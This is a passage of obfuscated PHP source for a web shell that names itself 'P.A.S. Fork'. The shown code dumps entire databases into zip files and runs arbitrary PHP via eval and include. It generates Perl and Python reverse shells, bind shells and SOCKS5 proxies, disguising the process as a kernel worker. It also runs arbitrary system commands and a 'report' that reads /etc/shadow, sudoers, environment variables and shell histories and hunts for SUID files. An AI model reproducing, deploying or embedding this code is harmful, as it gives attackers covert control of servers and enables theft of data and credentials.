"; } if ($f) { sqlOutValues($v, "mysqlEscData"); } else { csvOutValues($v); } } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) { echo ";\xa"; } } else { $i .= sprintf(E_SLCTDT, $b . "." . $t . " " . print_r($this->_cnct->errorInfo(), true)); } return $i; } } class MSSQLPDOClient extends MSSQLBase { var $canPaginate = FALSE; function connect($d, $u, $p, $b, $c) { try { $v = new PDO($d, $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $d, $u, $p, $b); } $this->_cnct = $v; $this->_base = $b; return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(mssqlEscName($b, $s, $t)); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!$this->_cnct->query("USE " . mssqlEscName($v))) { return FALSE; } $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } return $this->getColumnsNames(mssqlEscName($b, $s, $t)); } function select($b, $s, $t, $c, $o, $l) { return $this->query("SELECT TOP " . $l . " " . sqlJoinColumns($c, "mssqlEscName") . " FROM " . mssqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "BINARY", "mssqlEscName"); } else { $i = sprintf(E_CNSTCS, $b . "." . $s . "." . $t); } } $c = sqlJoinColumns($c, "mssqlEscName"); if (($q = $this->_cnct->query("SELECT " . $c . " FROM " . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "
"; } if ($f) { sqlOutValues($v, "mssqlEscData"); } else { csvOutValues($v); } } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) { echo ";\xa"; } } else { $i .= sprintf(E_SLCTDT, $b . "." . $s . "." . $t); } return $i; } function fetchBase() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || $this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))) { return $v[0]; } return FALSE; } function fetchSchema() { return $this->_res->fetchColumn(1); } function fetchTable() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || $this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function nextResult() { return $this->_res->nextRowset(); } } class MSSQLDBLIBClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "host=" . $h; } if ($b !== NULL) { $a[] = "dbname=" . $b; } return parent::connect("mssql:" . implode(";", $a), $h, $u, $p, $b, $c); } } class MSSQLODBCClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "Server=" . $h; } if ($b !== NULL) { $a[] = "Database=" . $b; } return parent::connect("odbc:" . implode(";", $a), $h, $u, $p, $b, $c); } } class SQLSrvPDOClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) { $a[] = "Server=" . $h; } if ($b !== NULL) { $a[] = "Database=" . $b; } return parent::connect("sqlsrv:" . implode(";", $a), $u, $p, $b, $c); } } class PGSQLPDOClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $this->_params = "pgsql:" . $this->_params; $v = $this->_params; if ($b !== NULL) { $v .= " base=" . $this->escParam($b); } try { $v = new PDO($v); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query("SET CLIENT_ENCODING TO '" . $this->charset($c) . "'"); $this->_cnct = $v; return TRUE; } function setBase($v) { if ($v !== $this->_base) { $this->_res = NULL; $this->_cnct = NULL; $this->_base = NULL; try { $v = new PDO($this->_params . " base=" . $this->escParam($v)); } catch (Exception $e) { return FALSE; } $this->_base = $v; $v->query("SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'"); $this->_cnct = $v; } return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(pgsqlEscName($s, $t)); } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } return $this->getColumnsNames(pgsqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "BINARY", "pgsqlEscName"); } else { $i = sprintf(E_CNSTCS, $b . "." . $s . "." . $t); } } $c = sqlJoinColumns($c, "pgsqlEscName"); if ($this->_cnct->query("BEGIN; DECLARE c CURSOR FOR SELECT " . $c . " FROM " . pgsqlEscName($s, $t))) { if (($v = $this->_cnct->query("FETCH NEXT FROM c")) && ($v = $v->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(pgsqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $c = $this->_cnct; $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "pgsqlEscData"); } else { csvOutValues($v); } } while (($v = $c->query("FETCH NEXT FROM c")) && ($v = $v->fetch(PDO::FETCH_NUM))); if ($f) { echo ";\xa"; } } $this->_cnct->query("CLOSE c; ROLLBACK"); } else { $i .= sprintf(E_SLCTDT, $b . "." . $s . "." . $t); } return $i; } function fetchSchema() { return $this->_res->fetchColumn(0); } } } function outData(&$S) { echo ","f":["; if ($v = $S->fetchAssoc()) { $b = FALSE; foreach ($v as $k => $i) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($k); } echo "],"r":["; $b = FALSE; do { if ($b) { echo ","; } else { $b = TRUE; } echo "["; $k = FALSE; foreach ($v as $i) { if ($k) { echo ","; } else { $k = TRUE; } jsonEcho($i); } echo "]"; } while ($v = $S->fetchRow()); } echo "]"; } $S = $D["e"] . "Client"; $S = new $S(); if (!$S->connect($D["h"], $D["u"], $D["p"], $D["b"], $D["l"])) { $S->connError($S->getError(), $D["h"], $D["u"], $D["p"], $D["b"]); } if (isset($D["d"])) { $Z = new PZIP(); $Z->init(); $a = array(); $m = packTime(time()); foreach ($D["d"] as $k => $v) { if (isset($D["s"][$k])) { foreach ($D["s"][$k] as $i => $s) { if (isset($D["t"][$k . "-" . $i])) { foreach ($D["t"][$k . "-" . $i] as $n => $t) { $a[$v][$s][$t] = isset($D["f"][$k . "-" . $i . "-" . $n]) ? $D["f"][$k . "-" . $i . "-" . $n] : FALSE; } } elseif ($S->getTables($v, $s)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$s][$t] = FALSE; } } } } elseif (isset($D["t"][$k])) { foreach ($D["t"][$k] as $i => $s) { $a[$v][$s] = isset($D["f"][$k . "-" . $i]) ? $D["f"][$k . "-" . $i] : FALSE; } } elseif ($S->haveSchemas) { $k = array(); if ($S->getSchemas($v)) { while (($i = $S->fetchSchema()) !== FALSE) { $k[] = $i; } } foreach ($k as $s) { if ($S->getTables($v, $s)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$s][$t] = FALSE; } } } } elseif ($S->getTables($v)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$t] = FALSE; } } } $e = array(); $o = $D["o"] === "0"; $x = $o ? ".sql" : ".csv"; if ($S->haveSchemas) { foreach ($a as $d => $v) { foreach ($v as $s => $k) { foreach ($k as $t => $c) { $f = escFileName($d . "." . $s . "." . $t) . $x; $Z->fileHeader($f, $m); if ($o) { printf(T_DMPHDR, gmdate("Y-m-d H:i:s")); } if ($i = $S->dump($d, $s, $t, $c, $o)) { $e[] = $i; } if ($o) { printf(T_DMPFTR, gmdate("Y-m-d H:i:s")); } $Z->fileFooter($f, $m); } } } } else { foreach ($a as $d => $v) { foreach ($v as $t => $c) { $f = escFileName($d . "." . $t) . $x; $Z->fileHeader($f, $m); if ($o) { printf(T_DMPHDR, gmdate("Y-m-d H:i:s")); } if ($i = $S->dump($d, $t, $c, $o)) { $e[] = $i; } if ($o) { printf(T_DMPFTR, gmdate("Y-m-d H:i:s")); } $Z->fileFooter($f, $m); } } } if ($e) { $n = "ERRORS.txt"; $t = packTime(time()); $Z->fileHeader($n, $t); foreach ($e as $v) { echo $v; } $Z->fileFooter($n, $t); } $Z->close(); } if (isset($D["q"])) { if ($S->query($D["q"])) { echo "{"q":"; jsonEcho($D["q"]); outData($S); $S->close(); sDie("}"); } echo "{"e":"; jsonEcho($D["q"] . "
" . $S->getError()); sDie("}"); } if (isset($D["f"])) { $b = isset($D["s"]); if ($b ? $S->select($D["b"], $D["s"], $D["t"], $D["f"], $D["o"], $D["r"]) : $S->select($D["b"], $D["t"], $D["f"], $D["o"], $D["r"])) { echo "{"; if ($S->canPaginate) { echo ""o":", $D["o"], ","; } echo ""b":"; jsonEcho($D["b"]); if ($b) { echo ","s":"; jsonEcho($D["s"]); } echo ","t":"; jsonEcho($D["t"]); outData($S); $S->close(); sDie("}"); } echo "{"e":"; jsonEcho("Can't load data from table " . $D["b"] . "." . ($b ? $D["s"] . "." : '') . $D["t"] . " (" . $S->getError() . ")"); sDie("}"); } if (isset($D["t"])) { $b = isset($D["s"]); if ($v = $b ? $S->getColumns($D["b"], $D["s"], $D["t"]) : $S->getColumns($D["b"], $D["t"])) { $S->close(); echo "{"b":"; jsonEcho($D["b"]); if ($b) { echo ","s":"; jsonEcho($D["s"]); } echo ","t":"; jsonEcho($D["t"]); echo ","f":["; $i = FALSE; $a = array(); foreach ($v as $k => $t) { if ($i) { echo ","; } else { $i = TRUE; } echo "["; jsonEcho($k); if (!isset($a[$t])) { $a[$t] = count($a); } echo ",", $a[$t], "]"; } echo "],"y":["; $i = FALSE; foreach ($a as $k => $v) { if ($i) { echo ","; } else { $i = TRUE; } jsonEcho($k); } sDie("]}"); } $S->close(); echo "{"e":"; jsonEcho("Can't list columns for table " . $D["b"] . "." . ($b ? $D["s"] . "." : '') . $D["t"]); sDie("}"); } if (isset($D["b"])) { $b = isset($D["s"]); if ($b || !$S->haveSchemas) { if ($b ? $S->getTables($D["b"], $D["s"]) : $S->getTables($D["b"])) { echo "{"b":"; jsonEcho($D["b"]); if ($b) { echo ","s":"; jsonEcho($D["s"]); } echo ","t":["; $i = FALSE; while (FALSE !== ($v = $S->fetchTable())) { if ($i) { echo ","; } else { $i = TRUE; } echo "["; jsonEcho($v); if (isset($D["r"])) { echo ",", $b ? $S->getTableSize($D["b"], $D["s"], $v) : $S->getTableSize($D["b"], $v); } echo "]"; } $S->close(); sDie("]}"); } $S->close(); echo "{"e":"; jsonEcho("Can't list tables for " . $D["b"] . ($b ? "." . $D["s"] : '')); sDie("}"); } if ($S->getSchemas($D["b"])) { echo "{"b":"; jsonEcho($D["b"]); echo ","s":["; $b = FALSE; while (FALSE !== ($v = $S->fetchSchema())) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($v); } $S->close(); sDie("]}"); } $S->close(); echo "{"e":"; jsonEcho("Can't list schemas for database " . $D["b"]); sDie("}"); } if ($S->getBases()) { echo "["; $b = FALSE; while (FALSE !== ($v = $S->fetchBase())) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($v); } $S->close(); sDie("]"); } $S->close(); sDie("{"e":"Can't list databases"}"); break; case "p": function sdf() { if (defined("PTF")) { delFile(PTF); } sDie("\3\x1e" . (defined("PES") ? "\x6" : "\25") . "\x17\4\x10"); } register_shutdown_function("sdf"); echo "\x1\x2"; $D["e"] = "define("PES",1);" . $D["e"]; if (!isset($D["h"])) { $D["e"] = "@error_reporting(E_ALL);@ini_set("error_reporting",E_ALL);@ini_set("display_errors",TRUE);" . $D["e"]; } eval($D["e"]); if (defined("PES")) { die; } if ($v = tempFile("<?php " . $D["e"])) { define("PTF", $v); include $v; if (defined("PES")) { die; } include_once $v; if (defined("PES")) { die; } require $v; if (defined("PES")) { die; } require_once $v; if (defined("PES")) { die; } if (PHP_VERSION >= "5" && PHP_VERSION <= "5.0.4") { php_check_syntax($v); if (defined("PES")) { die; } } } if (PHP_VERSION_ID < 80000 && ($v = @create_function("&$args", $D["e"]))) { $v($args); } if (defined("PES")) { die; } sDie(); break; case "t": function getCmdOpt($c, $n, $d) { if ($v = strpos($c, " -" . $n)) { return ltrim(substr($c, $v + 3, strcspn($c, " ", $v + 4) + 1)); } return $d; } echo "\1\x2"; $D["e"] = isset($D["e"]) ? trim($D["e"]) : ''; if (!isset($D["s"])) { $D["s"] = ''; } $k = strtok($D["e"], " "); if (in_array($k, array("backconnect.perl", "bindport.perl", "socks5.perl"))) { $p = "$0="" . getCmdOpt($D["e"], "n", "[kworker/4:1]") . "\0";use IO::Socket;$SIG{"CHLD"}="IGNORE";$f="[Fail]";$w="[Warn]";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or die"$f Create socket: $!";"; if ($k === "backconnect.perl") { $p .= "$a=inet_aton("" . strtok(" ") . "") or die"$f Convert host address: $!";$s=sockaddr_in(" . strtok(" ") . ",$a) or die"$f Packed address: $!";connect(S,$s) or die"$f Connect: $!";$r="S";"; } else { $p .= "setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1) or print"$w Set socket options: $!\n";$s=sockaddr_in(" . strtok(" ") . ",inet_aton("" . getCmdOpt($D["e"], "a", "0.0.0.0") . "")) or die"$f Packed address: $!";bind(S,$s) or die"$f Bind socket: $!";"; } if ($k === "bindport.perl") { $p .= "listen(S,1) or die"$f Listen socket: $!";accept(C,S) or die"$f Accept connection: $!";$r="C";"; } if ($k === "socks5.perl") { $v = getCmdOpt($D["e"], "s", ''); if ($v) { $v = explode(":", $v); } $p .= "use threads;listen(S,SOMAXCONN) or die"$f Listen socket: $!";print"[Succ] Server successfully launched!\n";close(STDIN);close(STDOUT);close(STDERR);sub prcss{$C = $_[0];sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$b,1);sysread($C,$b,ord($b));if(index($b,"\x0" . ($v ? "2" : "0") . "")==-1){syswrite($C,"\x05\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x05\x0" . ($v ? "2" : "0") . "");"; if ($v) { $p .= "sysread($C,$b,1);sysread($C,$l,1);sysread($C,$u,ord($l));sysread($C,$l,1);sysread($C,$p,ord($l));if(($b ne "\x01") || ($u ne "" . $v[0] . "") || ($p ne "" . $v[1] . "")){syswrite($C,"\x01\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x01\x00");"; } $p .= "sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$c,1);sysread($C,$b,1);if($b ne "\x00"){shutdown($C,2);close($C);return;}sysread($C,$t,1);if($t eq "\x01"){sysread($C,$a,4);$d=$a;}elsif($t eq "\x03"){sysread($C,$a,1);sysread($C,$b,unpack("c",$a));$a.=$b;$d=inet_aton($b);}elsif($t eq "\x04"){sysread($C,$a,16);$d=$a;}else{shutdown($C,2);close($C);return;}sysread($C,$b,2);$a.=$b;if($c ne "\x01"){syswrite($C, "\x05\x07\x00".$t.$a);shutdown($C,0);close($C);return;}if(!socket(D,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or !connect(D,sockaddr_in(unpack("n",$b),$d))){syswrite($C,"\x05\x05\x00".$t.$a);shutdown($C,0);close($C);close(D);return;}syswrite($C,"\x05\x00\x00".$t.$a);$m="";$fc=fileno($C);$fd=fileno(D);vec($m,$fc,1)=1;vec($m,$fd,1)=1;do{$c=$m;$rc=-1;$rd=-1;if(select($c,undef,undef,1)){if(vec($c,$fc,1)){$rc=sysread($C,$b,10240);if($rc){syswrite(D,$b);}}if(vec($c,$fd,1)){$rd=sysread(D,$b,10240);if($rd){syswrite($C,$b);}}}}while($rc!=0 && $rd!=0);shutdown($C,2);close($C);shutdown(D,2);close(D);}while(accept(C,S)){threads->create("prcss",C);}"; } else { $v = getCmdOpt($D["e"], "s", NIX ? "/bin/sh -i" : "cmd"); $p .= "print"[OK] Successful connected!\n";open(STDOUT,">&$r") or die"$f Redirect STDOUT: $!";print "\n# P.A.S. Fork v." . VER . " " . $k . "\n\n";open(STDIN, "<&$r") or die"$f Redirect STDIN: $!";open(STDERR,">&STDOUT") or print"$w Redirect STDERR: $!\n";exec("" . $v . "") or die"$f Run shell (" . $v . "): $!";"; } $s = getCmdOpt($D["e"], "i", NIX ? "/usr/bin/perl" : "perl.exe"); if ($v = tempFile($p)) { exe($s . " " . $v . " &", $D["f"], $D["s"]); delFile($v); } else { exe($s . " -e '" . $p . "' &", $D["f"], $D["s"]); } } elseif (in_array($k, array("backconnect.python", "bindport.python", "socks5.python"))) { $p = "try:
 import sys,socket"; if ($k === "socks5.python") { $p .= ",struct,threading,select"; } else { $p .= ",os," . (getCmdOpt($D["e"], "t", "N") === "N" ? "subprocess" : "pty"); } $p .= ";
 S = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\xa"; if ($k === "backconnect.python") { $p .= " S.connect(("" . strtok(" ") . ""," . strtok(" ") . "));\xa"; $s = "S"; } else { $p .= " S.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
" . " S.bind(("" . getCmdOpt($D["e"], "a", '') . ""," . strtok(" ") . "));\xa S.listen(5);
"; } if ($k === "bindport.python") { $p .= " (C,A) = S.accept();\xa"; $s = "C"; } if ($k === "socks5.python") { $v = getCmdOpt($D["e"], "s", ''); if ($v) { $v = explode(":", $v); } $p .= "except Exception as e:
 print(e);
else:
" . " print("[Succ] Server successfully launched!"+chr(10));" . "\xa sys.stdin.close();\xa sys.stderr.close();\xa sys.stdout.close();\xa def prcss(C):
" . "  if C.recv(1)!=b"\x05":" . "\xa   C.shutdown(2);\xa   C.close();\xa   return;
" . "  if b"\x0" . ($v ? "2" : "0") . "" not in C.recv(struct.unpack("B", C.recv(1))[0]):" . "
" . "   C.send(b"\x05\xFF");" . "\xa   C.shutdown(0);
   C.close();\xa   return;
" . "  C.send(b"\x05\x0" . ($v ? "2" : "0") . "");" . "
"; if ($v) { $p .= "  if (C.recv(1)!=b"\x01") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"" . $v[0] . "") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"" . $v[1] . ""):" . "
" . "   C.send(b"\x01\xFF");" . "\xa   C.shutdown(0);\xa   C.close();\xa   return;
" . "  C.send(b"\x01\x00");" . "\xa"; } $p .= "  if C.recv(1)!=b"\x05":" . "
   C.shutdown(2);\xa   C.close();
   return;
  c = C.recv(1);
" . "  if C.recv(1)!=b"\x00":" . "\xa   C.shutdown(2);\xa   C.close();\xa   return;\xa  t = C.recv(1);\xa" . "  if t==b"\x01":" . "\xa   a = C.recv(4);\xa" . "   d = socket.inet_ntoa(a);" . "
" . "  elif t==b"\x03":" . "\xa   a = C.recv(1);
" . "   d = C.recv(struct.unpack("B", a)[0]);" . "\xa   a += d;
" . "  elif t==b"\x04":" . "
   a = C.recv(16);
" . "   d = socket.inet_ntop(socket.AF_INET6, a);" . "
  else:\xa   C.shutdown(2);\xa   C.cloce();
   return;\xa  p = C.recv(2);\xa  a += p;\xa" . "  if c!=b"\x01":" . "
" . "   C.send(b"\x05\x07\x00"+t+a);" . "
   C.shutdown(0);\xa   C.close();\xa   return;\xa  D = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  try:
" . "   D.connect((d, struct.unpack(">H", p)[0]));" . "
  except:\xa" . "   C.send(b"\x05\x05\x00"+t+a);" . "\xa   C.shutdown(0);\xa   C.close();
   D.close();
  else:\xa" . "   C.send(b"\x05\x00\x00"+t+a);" . "
   C.setblocking(0);\xa   D.setblocking(0);
   while True:
    r,w,e = select.select([C,D], [], []);
    if len(r)>0:\xa     try:\xa      d = r[0].recv(10240);\xa      if r[0]==C:\xa       D.send(d);
      else:
       C.send(d);
     except:\xa      D.close();\xa      C.close();\xa      break;
 while True:
  (C,A) = S.accept();\xa  t = threading.Thread(target=prcss,args=(C,));\xa  t.daemon = True;\xa  t.start();"; } else { $p .= " print("[OK] Successful connected!\n");" . "\xa sys.stdout.flush();
" . " os.dup2(" . $s . ".fileno(),0);\xa" . " os.dup2(" . $s . ".fileno(),1);\xa" . " os.dup2(" . $s . ".fileno(),2);\xa" . " print("\n# P.A.S. Fork v." . VER . " " . $k . "\n\n");" . "
 sys.stdout.flush();
 " . (getCmdOpt($D["e"], "t", "N") === "N" ? "subprocess.Popen" : "pty.spawn") . "(["" . getCmdOpt($D["e"], "s", NIX ? "/bin/sh","-i" : "cmd") . ""]);" . "
except Exception as e:\xa" . " print(e);"; } $s = getCmdOpt($D["e"], "i", NIX ? "/usr/bin/python" : "python.exe"); if ($v = tempFile($p)) { exe($s . " " . $v . " &", $D["f"], $D["s"]); delFile($v); } else { exe("echo '" . $p . "'| " . $s . " - &", $D["f"], $D["s"]); } } elseif ($k === "report") { $i = getCmdOpt($D["e"], "s", ''); if (NIX) { $t = "echo ' -------------------------------------------------';"; $h = "echo;echo;" . $t . "echo '|'  "; $v = "echo '*  This report created by P.A.S. Fork v." . VER . "';echo '*  '`date -u +'%Y-%m-%d %H:%M:%S %Z'`;"; if (strpos($i, "o") === FALSE) { $v .= $h . "OS Identification;" . $t . "echo '==> uname <==';" . "uname -a;echo;tail -n +1 /proc/*version* /etc/*issue* /etc/*release* /etc/*version* /etc/motd;"; } if (strpos($i, "e") === FALSE) { $v .= $h . "Environment;" . $t . "env;"; } if (strpos($i, "u") === FALSE) { $v .= $h . "Users and Groups;" . $t . "echo '==> id <==';" . "id;echo;" . "echo '==> whoami <==';" . "whoami;echo;tail -n +1 /etc/*passwd* /etc/*group* /etc/*shadow* /etc/sudoers;echo;" . "echo '==> who <==';" . "who;"; } if (strpos($i, "l") === FALSE) { $v .= $h . "Lang;" . $t . "php -v|head -n1;python -V 2>&1;perl -v|head -n2|tail -n1;ruby -v;gcc --version|head -n1;"; } if (strpos($i, "p") === FALSE) { $v .= $h . "Processes;" . $t . "ps -uax;"; } if (strpos($i, "c") === FALSE) { $v .= $h . "CPU;" . $t . "cat /proc/cpuinfo;"; } if (strpos($i, "n") === FALSE) { $v .= $h . "Network;" . $t . "tail -n +1 /etc/host*;" . "echo '==> Listening ports <==';" . "netstat -ln;" . "echo '==> IP config <==';" . "ifconfig -a; ip a;"; } if (strpos($i, "r") === FALSE) { $v .= $h . "Cron;" . $t . "tail -n +1 /etc/*crontab;" . "echo '==> Files <==';" . "ls -al /etc/*cron*;ls -al /var/spool/cron/*;echo;"; } if (strpos($i, "h") === FALSE) { $v .= $h . "Histories;" . $t . "for d in `cut -d":" -f6 /etc/passwd`;do ls -al $d/.*hist*;done;"; } if (strpos($i, "f") === FALSE) { $v .= $h . "File System;" . $t . "echo '==> mount <==';mount;echo;echo '==> Disks <==';df -h;echo;echo '==> / <==';ls -al /;echo;echo '==> /boot <==';ls -al /boot;echo;echo '==> /etc <==';ls -al /etc;echo;echo '==> /tmp <==';ls -al /tmp;echo;echo '==> Libs <==';ls -al --full-time /lib*;echo;"; if (strpos($i, "s") === FALSE) { $v .= "echo '==> SUID Files <==';" . "find / -type f -perm -u+s -ls;"; } } } else { $t = "echo  ------------------------------------------------- & "; $h = $t . "echo ^|  "; $v .= $h . "OS &" . $t . "reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName & "; if (strpos($i, "s") === FALSE) { $v .= $h . "System Info & " . $t . "systeminfo & "; } if (strpos($i, "e") === FALSE) { $v .= $h . "Environment & " . $t . "SET & "; } if (strpos($i, "u") === FALSE) { $v .= $h . "Users and Groups & " . $t . "NET USER & NET LOCALGROUP & NET GROUP & "; } if (strpos($i, "t") === FALSE) { $v .= $h . "Tasks & " . $t . "schtasks /v & "; } if (strpos($i, "t") === FALSE) { $v .= $h . "Processes & " . $t . "tasklist /SVC & "; } if (strpos($i, "n") === FALSE) { $v .= $h . "Network & " . $t . "echo ==^> ipconfig ^<== & ipconfig /all & echo ==^> netstat ^<== & netstat -ano & echo ==^> Files ^<== & type %systemroot%\system32\drivers\etc\* & "; } if (strpos($i, "r") === FALSE) { $v .= $h . "Share & " . $t . "NET SHARE & "; } } $i = getCmdOpt($D["e"], "f", FALSE); exe($v, $D["f"], $D["s"], TRUE, $i ? " 1>" . $i : ''); if ($i) { echo "Report saved as ", $i, "\xa"; } } else { $s = NIX ? ";" : "&"; $v = "cd " . (NIX ? nesc($D["p"]) : wesc($D["p"])) . $s; if ($D["e"] !== '') { $v .= $D["e"]; if (substr($D["e"], -1) !== $s) { $v .= $s; } } $v .= "echo " . "\x3\x1e\x2" . $s . (NIX ? "whoami" : "echo %username%") . $s . "hostname" . $s . (NIX ? "pwd" : "cd"); exe($v, $D["f"], $D["s"], !isset($D["h"])); } sDie("\3\36\27\x4\x10"); break; default: if ($D["t"] === "m") { infMain(); sDie(); } if ($D["t"] === "p") { echo "{"Configs":{"; $a = array(); $b = FALSE; if (PHP_VERSION >= "5.2.4") { $a[] = php_ini_loaded_file(); } if (PHP_VERSION >= "4.3") { $a[] = php_ini_scanned_files(); } if ($a) { $b = TRUE; echo ""Loaded files":"; jsonEcho(implode(",
", $a)); } if (PHP_VERSION >= "4.2" && is_array($a = ini_get_all())) { foreach ($a as $k => $v) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($k); echo ":"; jsonEcho($v["local_value"]); } } echo "}"; echo ","Main Constants":{"; $b = FALSE; foreach (array("PHP_OS", "PHP_WINDOWS_VERSION_MAJOR", "PHP_WINDOWS_VERSION_MINOR", "PHP_WINDOWS_VERSION_BUILD", "PHP_WINDOWS_VERSION_SP_MAJOR", "PHP_WINDOWS_VERSION_SP_MINOR", "PHP_WINDOWS_VERSION_SUITEMASK", "PHP_WINDOWS_VERSION_PLATFORM", "PHP_WINDOWS_VERSION_PRODUCTTYPE", "PHP_WINDOWS_NT_WORKSTATION", "PHP_WINDOWS_NT_SERVER", "PHP_WINDOWS_NT_DOMAIN_CONTROLLER", "PHP_SAPI", "PHP_VERSION", "PHP_BINARY", "PHP_PREFIX", "PHP_BINDIR", "PHP_LIBDIR", "PHP_SHLIB_SUFFIX", "PHP_EXTENSION_DIR", "PHP_DATADIR", "PHP_CONFIG_FILE_PATH", "PHP_CONFIG_FILE_SCAN_DIR", "PHP_MANDIR", "DEFAULT_INCLUDE_PATH", "PHP_SYSCONFDIR", "PHP_LOCALSTATEDIR", "DIRECTORY_SEPARATOR", "PATH_SEPARATOR", "PHP_MAXPATHLEN", "PHP_INT_MAX", "PHP_INT_SIZE", "PEAR_INSTALL_DIR", "PEAR_EXTENSION_DIR") as $v) { if (defined($v)) { if ($b) { echo ","; } else { $b = TRUE; } echo """, $v, "":"; jsonEcho(constant($v)); } } echo "}"; if (is_array($a = get_loaded_extensions())) { echo ","Modules":{"; $b = FALSE; $i = array("DOTTED_VERSION", "VERSION", "VERSION_TEXT"); foreach ($a as $v) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($v); echo ":"; if (!($k = phpversion($v))) { $v = strtoupper($v); foreach ($i as $n) { if (defined($v . "_" . $n)) { $k = constant($v . "_" . $n); break; } } } if ($k) { jsonEcho($k); } else { echo """"; } } echo "}"; } if (PHP_VERSION >= "5") { echo ","Streams":{"Transports":"; jsonEcho(implode(", ", stream_get_transports())); echo ","Wrappers":"; jsonEcho(implode(", ", stream_get_wrappers())); echo ","Filters":"; jsonEcho(implode(", ", stream_get_filters())); echo "}"; } $b = FALSE; foreach (array("_ENV", "_SERVER", "_SESSION", "_REQUEST", "_GET", "_POST", "_COOKIE", "_FILES", "HTTP_RAW_POST_DATA", "argc", "argv") as $v) { if (isset(${$v}) && count(${$v}) > 0) { if (!$b) { echo ","Global Variables":{"; } foreach (${$v} as $k => $i) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho($v . "[" . $k . "]"); echo ":"; jsonEcho(print_r($i, TRUE)); } } } if ($b) { echo "}"; } sDie("}"); } break; } } goto uzj97; DoDlg: define("VER", "1.3"); goto N7XEz; n_9LQ: function getData($str) { $ln = $GLOBALS["PRELEN"]; $pref = substr($str, 0, $ln); $data = substr($str, $ln); return $pref === substr($GLOBALS["ENCKEY"], 0, $ln) ? $data : false; } goto QKFKI; CLGau: function getINI($s, &$v) { $v = trim(ini_get($s)); return $v !== ''; } goto hjSIg; yR2aE: ?> 
</title><style>*{box-sizing:border-box;outline:0}:focus{outline:none;}:disabled{opacity:.5}::-moz-focus-inner{padding:0;border:0}html{height:100%;padding:0 0 8px 0;background-color:#f0f0f0}body{background:#f0f0f0;position:relative;display:flex;margin:0 auto 8px auto;width:1000px;min-height:100%;font:normal 11px/1.5 Verdana,sans-serif;border:1px solid #fff;box-shadow:0 0 10px rgba(0,0,0,.5);flex-direction:column}iframe{display:none}a,a:visited{color:unset;text-decoration:none}pre{display:block}fieldset{border:1px solid #c7c7c7}table{font-size:12px;width:100%;border-collapse:collapse}th,td{padding:3px 5px;border:1px solid #dfdfdf}thead,tfoot{color:#fcfcfc;background:#7f7f7f}tbody{background:#f7f7f7}tbody tr:hover{background:#ececec}tfoot th{padding:8px 0 4px 2px;text-align:left}tfoot button{width:90px}input,select,button,textarea{margin:1px 2px;font:11px/1.4 Verdana,sans-serif;background:#eaeaea;border:1px solid #c7c7c7}label,select,button{cursor:pointer}button{padding:1px 10px;border-radius:3px}textarea{display:block;flex:1;font:13px/1.5 'Courier New',monospace;background:#fff;resize:none}input[type="text"]{padding:1px 